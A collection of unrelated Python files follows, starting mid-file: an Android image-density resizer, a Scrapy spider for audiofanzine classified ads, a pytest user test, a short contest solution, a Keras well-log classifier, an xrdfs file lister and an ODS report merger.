			out_path = self.out_path_from_out_name(density, svg_file, out_name)
			w = RUtils.number_from_object(w_1x)*density.scale
			h = RUtils.number_from_object(h_1x)*density.scale
			self.r.png2png(w, h, out_path, svg_file)

	def png2pngs(self, w_1x, h_1x, svg_file, out_name=None):
		self.png2png(w_1x, h_1x, svg_file, out_name)

	def xcf2png(self, w_1x, h_1x, xcf_file, out_name=None):
		for density in self.densities:
			out_path = self.out_path_from_out_name(density, xcf_file, out_name)
			w = RUtils.number_from_object(w_1x)*density.scale
			h = RUtils.number_from_object(h_1x)*density.scale
			self.r.xcf2png(w, h, out_path, xcf_file)

	def xcf2pngs(self, w_1x, h_1x, svg_file, out_name=None):
		self.xcf2png(w_1x, h_1x, svg_file, out_name)

	def svg2pdf(self, svg_file, out_name=None):
		print("svg2pdf is not supported on android")

	def icon(self,svg_file,device=None):
		name = os.path.basename(svg_file)
		altname = name.replace(".svg","_round.svg")
		folder = os.path.dirname(svg_file)
		svg_round_file = os.path.join(folder,altname)
		self.r.svg2android_icons(svg_file,self.path_droid_resources)
		if os.path.exists(svg_round_file):
			self.r.svg2android_icons(svg_round_file,self.path_droid_resources,round=True)

class RDroidDensity(object):

	def __init__(self, density):
		self.drawable_folder = "drawable-" + density
		self.scale = 1
		if density == "ldpi":
			self.scale = 0.75
		elif density == "mdpi":
			self.scale = 1
		elif density == "hdpi":
			self.scale = 1.5
		elif density == "xhdpi":
			self.scale = 2
		elif density == "xxhdpi":
			self.scale = 3
		elif density == "xxxhdpi":
			self.scale = 4


import scrapy
import urllib.request
import os

class MusicaleSpider(scrapy.Spider):
    name = "audio"

    start_urls = ['https://fr.audiofanzine.com/basse/petites-annonces/o.particuliers.html',
                  'https://fr.audiofanzine.com/batterie/petites-annonces/o.particuliers.html',
                  'https://fr.audiofanzine.com/dj/petites-annonces/o.particuliers.html',
                  'https://fr.audiofanzine.com/guitare/petites-annonces/o.particuliers.html',
                  'https://fr.audiofanzine.com/synthetiseur/petites-annonces/o.particuliers.html',
                  'https://fr.audiofanzine.com/sono/petites-annonces/o.particuliers.html',
                  'https://fr.audiofanzine.com/mao/petites-annonces/o.particuliers.html',
                  'https://fr.audiofanzine.com/homestudio/petites-annonces/o.particuliers.html',
                  'https://fr.audiofanzine.com/instrument-musique/petites-annonces/o.particuliers.html',
                  'https://fr.audiofanzine.com/produits-divers/petites-annonces/o.particuliers.html']

    def parse(self, response):
        listing = response.xpath("//a[@class='link-wrapper']/@href").extract()

        for i in listing:
            comp_url = "https://fr.audiofanzine.com" + i

            global pagination_page

            pagination_page = response.xpath("//ul[@class='paginator']//li[2]/a/@href").get()
            pagination_page = pagination_page.split('2')[0]

            yield scrapy.Request(comp_url, self.parse2)

        for i in range(2,51):
            url = pagination_page + str(i) + ".html"
            url = "https://fr.audiofanzine.com" + url
            yield scrapy.Request(url, self.parse)

    def parse2(self, response):
        try:
            current_url = response.url
            prd_title = response.xpath("//h1/text()").get()
            invalid = '<>:"/\|?*, '

            for i in invalid:
                if i in prd_title:
                    prd_title = prd_title.replace(i, " ")

        except:
            prd_title = None

        try:
            category = response.xpath("//nav[@id='breadcrumb']//li[3]//text()").get()

        except:
            category = None

        try:
            price = response.xpath("//div[@class='classified-price']//text()").get()
            price = price.replace("\xa0", " ")

        except:
            price = None

        try:
            address = response.xpath("//div[@class='classified-localization']//text()").get()
            address = address.strip()
            address = " ".join(address.split())

        except:
            address = None

        try:
            date = response.xpath("//div[@class='wrap-subtitle']//text()").get()
            date = date.split("-")[0]
            date = date.replace("Posté le ", "")
            date = date.strip()

        except:
            date = None

        try:
            desc = response.xpath("//div[@class='classified-content-description']//text()").extract()
            desc = '\n '.join([str(elem) for elem in desc])
            desc = desc.replace("Description", "")
            desc = desc.replace("\r\n", "")
            desc = desc.strip()

        except:
            desc = None

        try:
            src =  response.xpath("//div[@class='wrap-classified-image ']//img/@src").get()
            urllib.request.urlretrieve(src, os.getcwd() + "/images/" + prd_title + ".jpg")

        except:
            pass

        yield{
            "title": prd_title,
            "category" : category,
            "price": price,
            "Location": address,
            "Posted date of the ad": date,
            "description": desc,
            "URL of ad" :  current_url,
            "Image URL": src,
            "Image Local Path": os.getcwd() + "/images/" + prd_title + ".jpg"
        }


from app import db
from app.models import User, Record

def test_new_user(init_db):
    """
    GIVEN a User model
    WHEN a new User is created
    THEN check user is added, name and id in instance
    """
    token, exp = User.get_token()
    user = User(
        id='3333',
        name='User3',
        token=token,
        token_expiration=exp)
    db.session.add(user)
    db.session.commit()

    assert db.session.query(User).count() == 3
    assert user.name == 'User3'
    assert user.id != '1111'


n = int(input())
a = list(map(int,input().split()))

cost = 0
zero = 0
neg = 0

for num in a:
    if num == 0:
        zero += 1
        cost += 1
    elif num < 0:
        neg += 1
        cost += (-1-num)
    else:
        cost += (num-1)

if neg%2 == 0 :
    print(cost)
elif (neg%2 == 1 and zero != 0):
    print(cost)
else:
    print(cost+2)


# -*- coding: utf-8 -*-
"""
@author: ctlek_000
"""

import os
import numpy
import random
import sklearn.model_selection
from tensorflow import keras

random.seed(20220602)
directory='C:/Users/leeby/Documents/work/NETL/hydrate/python/NGHP/morph'
os.chdir(directory)

#hyperparameters
runs=100
TV_split=.2
act_fun='relu'
net_top=[50,100]
drop_rate=[.1,.1]
learn_rate=.0025
bat_size=100
eps=500
wells=[5,6,7,8,9,10]

#open & read well log data
well=[]
for x in wells:
    file=open('data'+str(x)+'.txt','r')
    lines=file.readlines()
    file.close()
    for y in range(len(lines)):
        splitted=lines[y].split()
        floated=[float(z) for z in splitted]
        floated.append(x)
        well.append(floated)
well=numpy.array(well)

#features
depth=well[:,0]
GR=well[:,1]
Rt=well[:,2]
density=well[:,3]
porosity=well[:,4]
Vp=well[:,5]
Sgh=well[:,6]
morph=well[:,7]
well_num=well[:,8]

#well log combination + well number & depth
X=numpy.transpose([GR,Rt,density,porosity,Vp,well_num,depth])
#X=numpy.transpose([GR,Rt,density,porosity,well_num,depth])

#encode morph classes as 1-hot matrix
morph_2D=[]
for x in range(len(morph)):
    morph_2D.append([0.0,0.0,0.0])
    morph_2D[-1][int(morph[x])]=1
morph_2D=numpy.array(morph_2D)

second=max([numpy.count_nonzero(morph==1),numpy.count_nonzero(morph==2)])

#multiple runs with random splitting
best=0
loss_acc=[]
balanced=[]
precisions=[]
recalls=[]
F_scores=[]
con_mats=[]
all_well_con_mats=[]
all_well_balanced=[]
all_well_precisions=[]
all_well_recalls=[]
all_well_Fscores=[]
for x in range(runs):
    #balance 'none' class by limiting to 2nd highest amount
    morph2=morph
    morph2_2D=morph_2D
    X2=X
    while numpy.count_nonzero(morph2==0)>second:
        i=random.randrange(len(morph2))
        if morph2[i]==0:
            morph2=numpy.delete(morph2,i)
            morph2_2D=numpy.delete(morph2_2D,i,axis=0)
            X2=numpy.delete(X2,i,axis=0)

    #shuffle & split then save & delete well number & depth of test data
    x_train,x_test,y_train,y_test=sklearn.model_selection.train_test_split(X,morph_2D,test_size=TV_split)
    test_num=x_test[:,-2]
    test_depth=x_test[:,-1]
    x_train=numpy.delete(x_train,[-2,-1],axis=1)
    x_test=numpy.delete(x_test,[-2,-1],axis=1)

    #scale
    transformer=sklearn.preprocessing.MinMaxScaler().fit(x_train)
    x_train_norm=transformer.transform(x_train)
    x_test_norm=transformer.transform(x_test)

    #construct neural network
    keras.backend.clear_session()
    input1=keras.Input(shape=x_train_norm[0].shape,name='well_log_data')
    NN=keras.layers.Dense(units=net_top[0],activation=act_fun)(input1)
    NN=keras.layers.Dropout(drop_rate[0])(NN)
    for y in range(1,len(net_top)):
        NN=keras.layers.Dense(units=net_top[y],activation=act_fun)(NN)
        NN=keras.layers.Dropout(drop_rate[y])(NN)
    output1=keras.layers.Dense(units=3,activation='softmax',name='morphological_assignment')(NN)
    NN=keras.Model(inputs=input1,outputs=output1)

    #neural network options & compilation
    NN.compile(optimizer=keras.optimizers.Adam(learning_rate=learn_rate),loss=keras.losses.CategoricalCrossentropy(),metrics=[keras.metrics.CategoricalAccuracy()])

    #train & test
    validata=(x_test_norm,y_test)
    fitted=NN.fit(x_train_norm,y_train,batch_size=bat_size,epochs=eps,verbose=0,validation_data=validata)
    evaluated=NN.evaluate(x_test_norm,y_test,verbose=0)
    loss=fitted.history['loss']
    val_acc=fitted.history['val_categorical_accuracy']

    #predict
    y_pred=NN.predict(x_test_norm,verbose=0)
    y_pred_1D=numpy.argmax(y_pred,axis=1)
    y_test_1D=numpy.argmax(y_test,axis=1)

    #save & print
    loss_acc.append(evaluated)
    balanced.append(sklearn.metrics.balanced_accuracy_score(y_test_1D,y_pred_1D))
    precisions.append(sklearn.metrics.precision_score(y_test_1D,y_pred_1D,average=None))
    recalls.append(sklearn.metrics.recall_score(y_test_1D,y_pred_1D,average=None))
    F_scores.append(sklearn.metrics.f1_score(y_test_1D,y_pred_1D,average=None))
    con_mats.append(sklearn.metrics.confusion_matrix(y_test_1D,y_pred_1D))
    print('run',x+1)
    print('loss =',evaluated[0])
    print('accuracy =',evaluated[1])
    print('balanced accuracy =',balanced[-1])
    print('confusion matrix\n',con_mats[-1])
    print(sklearn.metrics.classification_report(y_test_1D,y_pred_1D,target_names=['none','fracture','pore']))

    #save best run
    if balanced[-1]>balanced[best]:
        NN.save(directory+'/saved')
        best=x
        best_transformer=transformer

        #save best run predictions & breakdown wrong pore recall by well & depths
        prediction=[]
        wrong_depths=[[],[],[],[],[],[]]
        for y in range(len(y_pred_1D)):
            prediction.append([max(y_pred[y]),y_pred_1D[y],y_test_1D[y],test_num[y],test_depth[y]])
            if y_pred_1D[y]==0 and y_test_1D[y]==2:
                wrong_depths[int(test_num[y])-5].append(test_depth[y])
        numpy.savetxt('loss.txt',loss,fmt='%.9f',delimiter='\t')
        numpy.savetxt('prediction.txt',prediction,fmt='%.9f',delimiter='\t')
        numpy.savetxt('val_acc.txt',val_acc,fmt='%.9f',delimiter='\t')
        numpy.savetxt('depths_of_pred_none_but_exp_pore.txt',wrong_depths,fmt='%s')

    #metrics for each well
    well_con_mats=[]
    well_precisions=[]
    well_recalls=[]
    well_Fscores=[]
    well_balanced=[]
    three_classes=True
    for y in wells:
        wellX=X[numpy.where(X[:,5]==y)]
        wellY=morph_2D[numpy.where(X[:,5]==y)]
        if y==10:
            #wellXY=numpy.concatenate((wellX,wellY),axis=1)
            wellX=wellX[wellY[:,-1]==0]
            wellY=wellY[wellY[:,-1]==0]
        wellX=numpy.delete(wellX,[-2,-1],axis=1)
        wellX_norm=transformer.transform(wellX)
        wellY_pred=NN.predict(wellX_norm,verbose=0)
        wellY_pred_1D=numpy.argmax(wellY_pred,axis=1)
        wellY_1D=numpy.argmax(wellY,axis=1)
        well_con_mats.append(sklearn.metrics.confusion_matrix(wellY_1D,wellY_pred_1D))
        well_balanced.append(sklearn.metrics.balanced_accuracy_score(wellY_1D,wellY_pred_1D))
        well_precisions.append(sklearn.metrics.precision_score(wellY_1D,wellY_pred_1D,average=None,zero_division=0))
        well_recalls.append(sklearn.metrics.recall_score(wellY_1D,wellY_pred_1D,average=None,zero_division=0))
        F=sklearn.metrics.f1_score(wellY_1D,wellY_pred_1D,average=None,zero_division=0)
        well_Fscores.append(F)
        if F.size != 3:
            three_classes=False
    if three_classes:
        all_well_con_mats.append(well_con_mats)
        all_well_balanced.append(well_balanced)
        all_well_precisions.append(well_precisions)
        all_well_recalls.append(well_recalls)
        all_well_Fscores.append(well_Fscores)
avg_well_con_mats=numpy.mean(all_well_con_mats,axis=0)
std_well_con_mats=numpy.std(all_well_con_mats,axis=0)
avg_well_balanced=numpy.mean(all_well_balanced,axis=0)
std_well_balanced=numpy.std(all_well_balanced,axis=0)
avg_well_precisions=numpy.mean(all_well_precisions,axis=0)
std_well_precisions=numpy.std(all_well_precisions,axis=0)
avg_well_recalls=numpy.mean(all_well_recalls,axis=0)
std_well_recalls=numpy.std(all_well_recalls,axis=0)
avg_well_Fscores=numpy.mean(all_well_Fscores,axis=0)
std_well_Fscores=numpy.std(all_well_Fscores,axis=0)

numpy.savetxt('loss_accuracy.txt',loss_acc,fmt='%.9f',delimiter='\t')
numpy.savetxt('balanced.txt',balanced,fmt='%.9f',delimiter='\t')
numpy.savetxt('precisions.txt',precisions,fmt='%.9f',delimiter='\t')
numpy.savetxt('recalls.txt',recalls,fmt='%.9f',delimiter='\t')
numpy.savetxt('F_scores.txt',F_scores,fmt='%.9f',delimiter='\t')

#print avg & stdev confusion matrix as well as best run stats
print('confusion matrix average\n',numpy.mean(numpy.array(con_mats),axis=0))
print('confusion matrix standard deviation\n',numpy.std(numpy.array(con_mats),axis=0))
print('best run',best+1)
print('loss =',loss_acc[best][0])
print('accuracy =',loss_acc[best][1])
print('balanced accuracy =',balanced[best])
print('confusion matrix\n',con_mats[best])

#test best on all
X_norm=best_transformer.transform(numpy.delete(X,[-2,-1],axis=1))
best_NN=keras.models.load_model(directory+'/saved')
pred=numpy.argmax(best_NN.predict(X_norm),axis=1)
print('applying best model to all data')
print(sklearn.metrics.confusion_matrix(morph,pred))
print(sklearn.metrics.classification_report(morph,pred,target_names=['none','fracture','pore']))


from pathlib import Path
import subprocess
import argparse
import sys
import os

def getStatisticFiles(config: dict, opts: argparse.Namespace) -> list:

    # Crate output data file list
    dList = []
    years = []
    counters = []

    # Get stage 0 dirs --> /FM/skim/6.0.0/v2/
    getDataDirsCommand = f"xrdfs {config['farmAddress']} ls {config['data_XRDFS_skimmed_path']}"
    if opts.verbose:
        print(f"Executing XRDFS command: {format(getDataDirsCommand)}")
    dataDirsOut = subprocess.run(
        getDataDirsCommand, shell=True, check=True, stdout=subprocess.PIPE)
    dataDirs = str.split(dataDirsOut.stdout.decode('utf-8').rstrip(), '\n')

    # Get stage 1 dirs --> /FM/FlightData/2A/YearOfAcquisition/
    for dir_st1 in dataDirs:
        if "20" in dir_st1 and "statistics" not in dir_st1:

            # Extract year
            year = int(dir_st1[dir_st1.rfind('/')+1:])
            if year < config['start_year'] or year > config['end_year']:
                continue
            if year not in years:
                years.append(year)
                year_data_idx = len(years)-1
                counters.append(0)

            getDataDirsCommand = f"xrdfs {config['farmAddress']} ls {dir_st1}"
            if opts.verbose:
                print(f"Executing XRDFS command: {getDataDirsCommand}")
            dataDirsOut = subprocess.run(
                getDataDirsCommand, shell=True, check=True, stdout=subprocess.PIPE)
            dataDirs_st1 = str.split(
                dataDirsOut.stdout.decode('utf-8').rstrip(), '\n')

            # Get stage 2 dirs --> /FM/FlightData/2A/YearOfAcquisition/MonthOfAcquisition
            for dir_st2 in dataDirs_st1:
                getDataDirsCommand = f"xrdfs {config['farmAddress']} ls {dir_st2}"
                if opts.verbose:
                    print(f"Executing XRDFS command: {getDataDirsCommand}")
                dataDirsOut = subprocess.run(
                    getDataDirsCommand, shell=True, check=True, stdout=subprocess.PIPE)
                dataDirs_st2 = str.split(
                    dataDirsOut.stdout.decode('utf-8').rstrip(), '\n')

                # Get ROOT data file
                for data_elm in dataDirs_st2:
                    if data_elm.endswith('.root') and "data_photon" not in data_elm:
                        dList.append(data_elm)
                        counters[year_data_idx] += 1

    if opts.verbose:
        print(f"{sum(counters)} data files have been read...")
        for year_idx, year in enumerate(years):
            print(f"{counters[year_idx]} data files found in {year} folder")

    return dList


#!/usr/bin/env python
import os
from datetime import date
from collections import OrderedDict
import pathlib

from pyexcel_ods import save_data
from pandas_ods_reader import read_ods

current_path = pathlib.Path(__file__).parent.resolve()

pcc_path = os.path.abspath(f'{current_path}/../reports/{date.today()}/pcc.ods')
print(f'Using PCC path: {pcc_path}')
assert os.path.isfile(pcc_path)

ens_path = os.path.abspath(f'{current_path}/../reports/{date.today()}/ensemble.ods')
print(f'Using ENS path: {ens_path}')
assert os.path.isfile(ens_path)

pcc_df = read_ods(pcc_path, 1, headers=True)
ens_df = read_ods(ens_path, 1, headers=True)

feature_values = {} # {name: [values]}

pcc_confidences = {}
ens_confidences = {}

pcc_values = {}
ens_values = {}

for row in pcc_df.to_dict(orient='records'):
    name = row['name']
    confidence = row['pcc_zero']
    best_value = row['best_value']
    feature_values.setdefault(name, [])
    feature_values[name].append(confidence)
    pcc_values[name] = best_value
    pcc_confidences[name] = confidence

for row in ens_df.to_dict(orient='records'):
    name = row['name']
    confidence = row['confidence']
    best_value = row['best value']
    if not best_value:
        confidence = 1 - confidence
    feature_values.setdefault(name, [])
    feature_values[name].append(confidence)
    ens_values[name] = best_value
    ens_confidences[name] = confidence

final_values = [] # [(score, name)]
for name, confidences in feature_values.items():
    mean_confidence = sum(confidences) / len(confidences)
    final_values.append((mean_confidence, name))
final_values.sort()
for name, conf in final_values:
    print(name, conf)

combine_fn = os.path.abspath(f'{current_path}/../reports/{date.today()}/combine-{date.today()}.ods')
print(f'Saving {combine_fn}.')
data = OrderedDict()
data.update({"Sheet 1": [
    ['name', 'score', 'pcc_conf', 'ens_conf', 'human_conf', 'agg_conf', 'pcc_value', 'ens_value']] + \
    [
        [name, conf, pcc_confidences.get(name, 0.5), ens_confidences.get(name, 0.5), 0.5,  f'=(C{i}+D{i}+E{i})/3',
        pcc_values.get(name, ''), ens_values.get(name, '')] for i, (conf, name) in enumerate(final_values, 2)]
             })
save_data(combine_fn, data)
print(f'Saved {combine_fn}.')